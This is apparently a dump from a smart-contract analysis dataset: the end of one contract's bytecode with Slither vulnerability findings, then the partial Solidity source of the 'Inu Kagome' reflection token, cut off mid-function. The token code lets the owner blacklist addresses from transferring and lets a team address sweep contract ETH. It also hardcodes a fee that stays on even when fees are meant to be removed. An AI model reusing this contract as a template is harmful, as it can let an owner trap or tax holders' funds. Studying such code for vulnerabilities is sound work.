81015183820152602001610383565b50505050905090810190601f1680156103c85780820380516001836020036101000a031916815260200191505b50848103825286518152865160209182019188019080838360005b838110156103fb5781810151838201526020016103e3565b50505050905090810190601f1680156104285780820380516001836020036101000a031916815260200191505b50995050505050505050505060405180910390f35b34801561044957600080fd5b5061027f600160a060020a0360043581169060243516604435610ffd565b34801561047357600080fd5b506102a8611180565b34801561048857600080fd5b506102a8611186565b34801561049d57600080fd5b506102a860043560243561118c565b3480156104b857600080fd5b506104d0600160a060020a0360043516602435611486565b005b3480156104de57600080fd5b506104d06004356114b9565b3480156104f657600080fd5b506102a8600160a060020a03600435166114d5565b34801561051757600080fd5b506105206114e7565b60405180806020018060200180602001806020018060200186810386528b818151815260200191508051906020019080838360005b8381101561056d578181015183820152602001610555565b50505050905090810190601f16801561059a5780820380516001836020036101000a031916815260200191505b5086810385528a5181528a516020918201918c019080838360005b838110156105cd5781810151838201526020016105b5565b50505050905090810190601f1680156105fa5780820380516001836020036101000a031916815260200191505b5086810384528951815289516020918201918b019080838360005b8381101561062d578181015183820152602001610615565b50505050905090810190601f16801561065a5780820380516001836020036101000a031916815260200191505b5086810383528851815288516020918201918a019080838360005b8381101561068d578181015183820152602001610675565b50505050905090810190601f1680156106ba5780820380516001836020036101000a031916815260200191505b50868103825287518152875160209182019189019080838360005b838110156106ed5781810151838201526020016106d5565b50505050905090810190601f16801561071a5780820380516001836020036101000a031916815260200191505b509a505050505050505050505060405180910390f35b34801561073c57600080fd5b506102a86117e8565b34801561075157600080fd5b5061027f600160a060020a03600435166024356117ee565b34801561077557600080fd5b506102a86004356118de565b34801561078d57600080fd5b5061027f6004356024356118f0565b3480156107a857600080fd5b506102a8600160a060020a036004351661193c565b3480156107c957600080fd5b50604080516020600480358082013583810280860185019096528085526104d0953695939460249493850192918291850190849080828437509497506119579650505050505050565b34801561081e57600080fd5b506104d0600160a060020a0360043516602435611b1f565b34801561084257600080fd5b5061084b611b52565b60408051602080825283518183015283519192839290830191858101910280838360005b8381101561088757818101518382015260200161086f565b505050509050019250505060405180910390f35b3480156108a757600080fd5b506108b0611bce565b60408051600160a060020a039092168252519081900360200190f35b3480156108d857600080fd5b506101e6611bdd565b3480156108ed57600080fd5b506108f9600435611c38565b604080519788526020880196909652868601949094526060860192909252600160a060020a0390811660808601521660a084015260c0830152519081900360e00190f35b34801561094957600080fd5b5061027f600160a060020a0360043516602435611c81565b34801561096d57600080fd5b506102a8611d6e565b34801561098257600080fd5b506102d2600435611d74565b34801561099a57600080fd5b506101e6611f53565b3480156109af57600080fd5b506040805160206004803580820135601f810184900484028501840190955284845261027f94369492936024939284019190819084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a99988101979196509182019450925082915084018382808284375050604080516020601f818a01358b0180359182018390048302840183018552818452989b8a359b909a909994019750919550918201935091508190840183828082843750949750611fbc9650505050505050565b348015610a8a57600080fd5b506104d0600435612270565b348015610aa257600080fd5b506040805160206004803580820135601f810184900484028501840190955284845261027f94369492936024939284019190819084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a99988101979196509182019450925082915084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a99988101979196509182019450925082915084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a99988101979196509182019450925082915084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a99988101979196509182019450925082915084018382808284375094975061228c9650505050505050565b348015610bf357600080fd5b50610520600160a060020a03600435166125e7565b348015610c1457600080fd5b5061027f600160a060020a03600435166024356128f3565b348015610c3857600080fd5b50610520600160a060020a036004351661298c565b348015610c5957600080fd5b5061027f600160a060020a0360043516602435612c7d565b348015610c7d57600080fd5b506102a8600160a060020a0360043581169060243516612d39565b348015610ca457600080fd5b506104d0600435612d64565b348015610cbc57600080fd5b506104d0600160a060020a0360043516612d80565b6008805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610d575780601f10610d2c57610100808354040283529160200191610d57565b820191906000526020600020905b815481529060010190602001808311610d3a57829003601f168201915b505050505081565b336000818152600f60209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60008052600d6020527f81955a0a11e65eac625c29e8882660bae4e165a75d72780094acae8ece9a29ee54600b54035b90565b60008181526005602081815260408084208054600684528286205485855294820154600180840180548651601f600260001995841615610100029590950190921684900491820189900489028101890190975280875260609889988b988a988a989795968101959394600490910193600160a060020a031692879190830182828015610ec55780601f10610e9a57610100808354040283529160200191610ec5565b820191906000526020600020905b815481529060010190602001808311610ea857829003601f168201915b5050875460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152959a5089945092508401905082828015610f535780601f10610f2857610100808354040283529160200191610f53565b820191906000526020600020905b815481529060010190602001808311610f3657829003601f168201915b5050855460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815295995087945092508401905082828015610fe15780601f10610fb657610100808354040283529160200191610fe1565b820191906000526020600020905b815481529060010190602001808311610fc457829003601f168201915b5050505050915095509550955095509550955091939550919395565b6000600160a060020a038316151561101457600080fd5b600160a060020a0384166000908152600d602052604090205482111561103957600080fd5b600160a060020a0384166000908152600f6020908152604080832033845290915290205482111561106957600080fd5b6110738483612e15565b600160a060020a0384166000908152600d602052604090205461109c908363ffffffff6130db16565b600160a060020a038086166000908152600d602052604080822093909355908516815220546110d1908363ffffffff6130ed16565b600160a060020a038085166000908152600d60209081526040808320949094559187168152600f82528281203382529091522054611115908363ffffffff6130db16565b600160a060020a038086166000818152600f6020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b600a5481565b600b5481565b600081600454101580156111a05750600082115b15156111ab57600080fd5b336000908152600360205260409020546002600019610100600184161502019091160415156111d957600080fd5b60008281526005602081905260409091209081015460039091015461120991600160a060020a0316908502611c81565b5060e060405190810160405280600c5481526020018481526020018381526020016005600085815260200190815260200160002060030154815260200133600160a060020a031681526020016005600085815260200190815260200160002060050160009054906101000a9004600160a060020a0316600160a060020a03168152602001600081525060016000600c5481526020019081526020016000206000820151816000015560208201518160010155604082015181600201556060820151816003015560808201518160040160006101000a815481600160a060020a030219169083600160a060020a0316021790555060a08201518160050160006101000a815481600160a060020a030219169083600160a060020a0316021790555060c08201518160060155905050600c547f692dc3dcfda35810d81bc050d274b14aa6e9887500829aad11b4cbbe121f58e1848460056000878152602001908152602001600020600101336005600089815260200190815260200160002060050160009054906101000a9004600160a060020a0316604051808681526020018581526020018060200184600160a060020a0316600160a060020a0316815260200183600160a060020a0316600160a060020a031681526020018281038252858181546001816001161561010002031660029004815260200191508054600181600116156101000203166002900480156114625780601f1061143757610100808354040283529160200191611462565b820191906000526020600020905b81548152906001019060200180831161144557829003601f168201915b5050965050505050505060405180910390a25050600c805460010190555060045490565b600254600160a060020a0316331461149d57600080fd5b600160a060020a03909116600090815260106020526040902055565b600254600160a060020a031633146114d057600080fd5b601655565b60076020526000908152604090205481565b336000908152600360208181526040928390208054845160026001808416156101000260001901909316819004601f810186900486028301860190975286825260609687968796879687969095908601948601939286019260048701928791908301828280156115985780601f1061156d57610100808354040283529160200191611598565b820191906000526020600020905b81548152906001019060200180831161157b57829003601f168201915b5050875460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152959a50899450925084019050828280156116265780601f106115fb57610100808354040283529160200191611626565b820191906000526020600020905b81548152906001019060200180831161160957829003601f168201915b5050865460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152959950889450925084019050828280156116b45780601f10611689576101008083540402835291602001916116b4565b820191906000526020600020905b81548152906001019060200180831161169757829003601f168201915b5050855460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152959850879450925084019050828280156117425780601f1061171757610100808354040283529160200191611742565b820191906000526020600020905b81548152906001019060200180831161172557829003601f168201915b5050845460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152959750869450925084019050828280156117d05780601f106117a5576101008083540402835291602001916117d0565b820191906000526020600020905b8154815290600101906020018083116117b357829003601f168201915b50505050509050945094509450945094509091929394565b60045481565b336000908152600f60209081526040808320600160a060020a03861684529091528120548083111561184357336000908152600f60209081526040808320600160a060020a0388168452909152812055611878565b611853818463ffffffff6130db16565b336000908152600f60209081526040808320600160a060020a03891684529091529020555b336000818152600f60209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b60066020526000908152604090205481565b600082815260056020819052604082200154600160a060020a0316331461191657600080fd5b506000918252600560209081526040808420600301839055600690915290912055600190565b600160a060020a03166000908152600d602052604090205490565b60025460009081908190600160a060020a0316331461197557600080fd5b611991600a54600a0a6305f5e10061310390919063ffffffff16565b92506119a784518461312790919063ffffffff16565b9150600090505b8351811015611b1957816014600086848151811015156119ca57fe5b6020908102909101810151600160a060020a0390811683528282019390935260409182016000908120949094556002549092168352600d909152902054611a17908363ffffffff6130db16565b600254600160a060020a03166000908152600d602081905260408220929092558551611a7c9285929091889086908110611a4d57fe5b6020908102909101810151600160a060020a03168252810191909152604001600020549063ffffffff6130ed16565b600d60008684815181101515611a8e57fe5b6020908102909101810151600160a060020a03168252810191909152604001600020558351849082908110611abf57fe5b602090810291909101810151600254604080518681529051600160a060020a039384169493909216927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a36001016119ae565b50505050565b600254600160a060020a03163314611b3657600080fd5b600160a060020a03909116600090815260126020526040902055565b6060806000600454604051908082528060200260200182016040528015611b83578160200160208202803883390190505b509150600090505b600454811015611bc857600181016000908152600660205260409020548251839083908110611bb657fe5b60209081029091010152600101611b8b565b50919050565b600254600160a060020a031681565b6009805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610d575780601f10610d2c57610100808354040283529160200191610d57565b60016020819052600091825260409091208054918101546002820154600383015460048401546005850154600690950154939492939192600160a060020a039182169291169087565b6000600160a060020a0383161515611c9857600080fd5b336000908152600d6020526040902054821115611cb457600080fd5b611cbe3383612e15565b336000908152600d6020526040902054611cde908363ffffffff6130db16565b336000908152600d602052604080822092909255600160a060020a03851681522054611d10908363ffffffff6130ed16565b600160a060020a0384166000818152600d60209081526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b60005481565b6005602090815260009182526040918290208054600180830180548651600293821615610100026000190190911692909204601f810186900486028301860190965285825291949293909290830182828015611e115780601f10611de657610100808354040283529160200191611e11565b820191906000526020600020905b815481529060010190602001808311611df457829003601f168201915b50505060028085018054604080516020601f6000196101006001871615020190941695909504928301859004850281018501909152818152959695945090925090830182828015611ea35780601f10611e7857610100808354040283529160200191611ea3565b820191906000526020600020905b815481529060010190602001808311611e8657829003601f168201915b50505050600383015460048401805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529596939593945090830182828015611f3a5780601f10611f0f57610100808354040283529160200191611f3a565b820191906000526020600020905b815481529060010190602001808311611f1d57829003601f168201915b50505060059093015491925050600160a060020a031686565b33600090815260036020526040902054606090600260001961010060018416150201909116041515611f8457600080fd5b5060408051808201909152600d81527f5265676973746572205573657200000000000000000000000000000000000000602082015290565b60008451600014158015611fd05750835115155b8015611fdc5750815115155b1515611fe757600080fd5b600480546001908101918290556040805160c08101825283815260208082018a81528284018a905260608301899052608083018890523360a08401526000958652600582529290942081518155915180519194929361204c939085019291019061315b565b506040820151805161206891600284019160209091019061315b565b50606082015160038201556080820151805161208e91600484019160209091019061315b565b5060a08201518160050160006101000a815481600160a060020a030219169083600160a060020a0316021790555090505082600660006004548152602001908152602001600020819055506004547f3be613ce338491a381c7936fac8c7dfc6a509105d42193c76f47e9ad0c3c14e733878787876040518086600160a060020a0316600160a060020a03168152602001806020018060200185815260200180602001848103845288818151815260200191508051906020019080838360005b8381101561216557818101518382015260200161214d565b50505050905090810190601f1680156121925780820380516001836020036101000a031916815260200191505b50848103835287518152875160209182019189019080838360005b838110156121c55781810151838201526020016121ad565b50505050905090810190601f1680156121f25780820380516001836020036101000a031916815260200191505b50848103825285518152855160209182019187019080838360005b8381101561222557818101518382015260200161220d565b50505050905090810190601f1680156122525780820380516001836020036101000a031916815260200191505b509850505050505050505060405180910390a2506001949350505050565b600254600160a060020a0316331461228757600080fd5b601555565b600085516000141580156122a05750845115155b80156122ac5750835115155b80156122b85750825115155b80156122c45750815115155b15156122cf57600080fd5b6040805160a081018252878152602080820188905281830187905260608201869052608082018590523360009081526003825292909220815180519293919261231b928492019061315b565b506020828101518051612334926001850192019061315b565b506040820151805161235091600284019160209091019061315b565b506060820151805161236c91600384019160209091019061315b565b506080820151805161238891600484019160209091019061315b565b509050507f47c3a4326bcefe02bd9f761beb0b842dccdb313c11efa75e802dd5da3024b76f3387878787876040518087600160a060020a0316600160a060020a03168152602001806020018060200180602001806020018060200186810386528b818151815260200191508051906020019080838360005b83811015612418578181015183820152602001612400565b50505050905090810190601f1680156124455780820380516001836020036101000a031916815260200191505b5086810385528a5181528a516020918201918c019080838360005b83811015612478578181015183820152602001612460565b50505050905090810190601f1680156124a55780820380516001836020036101000a031916815260200191505b5086810384528951815289516020918201918b019080838360005b838110156124d85781810151838201526020016124c0565b50505050905090810190601f1680156125055780820380516001836020036101000a031916815260200191505b5086810383528851815288516020918201918a019080838360005b83811015612538578181015183820152602001612520565b50505050905090810190601f1680156125655780820380516001836020036101000a031916815260200191505b50868103825287518152875160209182019189019080838360005b83811015612598578181015183820152602001612580565b50505050905090810190601f1680156125c55780820380516001836020036101000a031916815260200191505b509b50505050505050505050505060405180910390a150600195945050505050565b600160a060020a0381166000908152600360208181526040928390208054845160026001808416156101000260001901909316819004601f810186900486028301860190975286825260609687968796879687969095908601948601939286019260048701928791908301828280156126a15780601f10612676576101008083540402835291602001916126a1565b820191906000526020600020905b81548152906001019060200180831161268457829003601f168201915b5050875460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152959a508994509250840190508282801561272f5780601f106127045761010080835404028352916020019161272f565b820191906000526020600020905b81548152906001019060200180831161271257829003601f168201915b5050865460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152959950889450925084019050828280156127bd5780601f10612792576101008083540402835291602001916127bd565b820191906000526020600020905b8154815290600101906020018083116127a057829003601f168201915b5050855460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529598508794509250840190508282801561284b5780601f106128205761010080835404028352916020019161284b565b820191906000526020600020905b81548152906001019060200180831161282e57829003601f168201915b5050845460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152959750869450925084019050828280156128d95780601f106128ae576101008083540402835291602001916128d9565b820191906000526020600020905b8154815290600101906020018083116128bc57829003601f168201915b505050505090509450945094509450945091939590929450565b336000908152600f60209081526040808320600160a060020a0386168452909152812054612927908363ffffffff6130ed16565b336000818152600f60209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b60036020908152600091825260409182902080548351601f60026000196101006001861615020190931692909204918201849004840281018401909452808452909291839190830182828015612a235780601f106129f857610100808354040283529160200191612a23565b820191906000526020600020905b815481529060010190602001808311612a0657829003601f168201915b505050505090806001018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015612ac15780601f10612a9657610100808354040283529160200191612ac1565b820191906000526020600020905b815481529060010190602001808311612aa457829003601f168201915b50505060028085018054604080516020601f6000196101006001871615020190941695909504928301859004850281018501909152818152959695945090925090830182828015612b535780601f10612b2857610100808354040283529160200191612b53565b820191906000526020600020905b815481529060010190602001808311612b3657829003601f168201915b5050505060038301805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152949594935090830182828015612be35780601f10612bb857610100808354040283529160200191612be3565b820191906000526020600020905b815481529060010190602001808311612bc657829003601f168201915b5050505060048301805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152949594935090830182828015612c735780601f10612c4857610100808354040283529160200191612c73565b820191906000526020600020905b815481529060010190602001808311612c5657829003601f168201915b5050505050905085565b600254600090600160a060020a03163314612c9757600080fd5b600254604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a0392831660048201526024810185905290519185169163a9059cbb916044808201926020929091908290030181600087803b158015612d0657600080fd5b505af1158015612d1a573d6000803e3d6000fd5b505050506040513d6020811015612d3057600080fd5b50519392505050565b600160a060020a039182166000908152600f6020908152604080832093909416825291909152205490565b600254600160a060020a03163314612d7b57600080fd5b601755565b600254600160a060020a03163314612d9757600080fd5b600160a060020a0381161515612dac57600080fd5b600254604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36002805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6000806000806000806000601260008a600160a060020a0316600160a060020a03168152602001908152602001600020541180612e685750600160a060020a038816600090815260106020526040812054115b80612e895750600160a060020a038816600090815260146020526040812054115b156130d157600160a060020a0388166000908152601460205260408120541115612f3757612ed262015180612ec66018601e63ffffffff61310316565b9063ffffffff61310316565b601754909650612ee8908763ffffffff6130ed16565b421015612f3257600160a060020a038816600090815260146020908152604080832054600d90925290912054909450612f27858963ffffffff6130ed16565b1115612f3257600080fd5b6130d1565b600160a060020a038816600090815260106020526040812054111561303957612f6f62015180612ec6600c601e63ffffffff61310316565b9550612f86601554426130db90919063ffffffff16565b9250612f9b836201518063ffffffff61312716565b9250612fae83601e63ffffffff61312716565b600160a060020a038916600090815260106020526040902054909250612fe1908390612ec690600c63ffffffff61312716565b600160a060020a03891660009081526010602052604090205490915061300d908263ffffffff6130db16565b600160a060020a0389166000908152600d6020526040902054909450612f27858963ffffffff6130ed16565b600160a060020a03881660009081526012602052604081205411156130d15761307162015180612ec66003601e63ffffffff61310316565b601654909650613087908763ffffffff6130ed16565b4210156130d157600160a060020a038816600090815260126020908152604080832054600d909252909120549094506130c6858963ffffffff6130ed16565b11156130d157600080fd5b5050505050505050565b6000828211156130e757fe5b50900390565b6000828201838110156130fc57fe5b9392505050565b600082820283158061311f575082848281151561311c57fe5b04145b15156130fc57fe5b60008080831161313357fe5b828481151561313e57fe5b049050828481151561314c57fe5b0681840201841415156130fc57fe5b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061319c57805160ff19168380011785556131c9565b828001600101855582156131c9579182015b828111156131c95782518255916020019190600101906131ae565b506131d59291506131d9565b5090565b610df591905b808211156131d557600081556001016131df5600a165627a7a72305820050ad01d3db680f54ebe683c18300fcdbe5f309ac25ed1cc7d511a28ea0907bb0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 8,132 |
0x8f3871bbca972cbe56e5b5d8ec88fc83f76ad9e7
|
/**
*$INUKA
* totalSupply : 100000000000
* Listing : 70000000000 (70%)
* Burn :24000000000 (24%)
* Marketing : 4000000000 (4%)
* Team : 2000000000 (2%)
*/
// Telegram : t.me/Inu_Kagome
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract InuKagome is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Inu Kagome";
string private constant _symbol = " INUKA ";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 3;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1) {
_teamAddress = addr1;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 2;
_teamFee = 3;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 10000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, 5);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
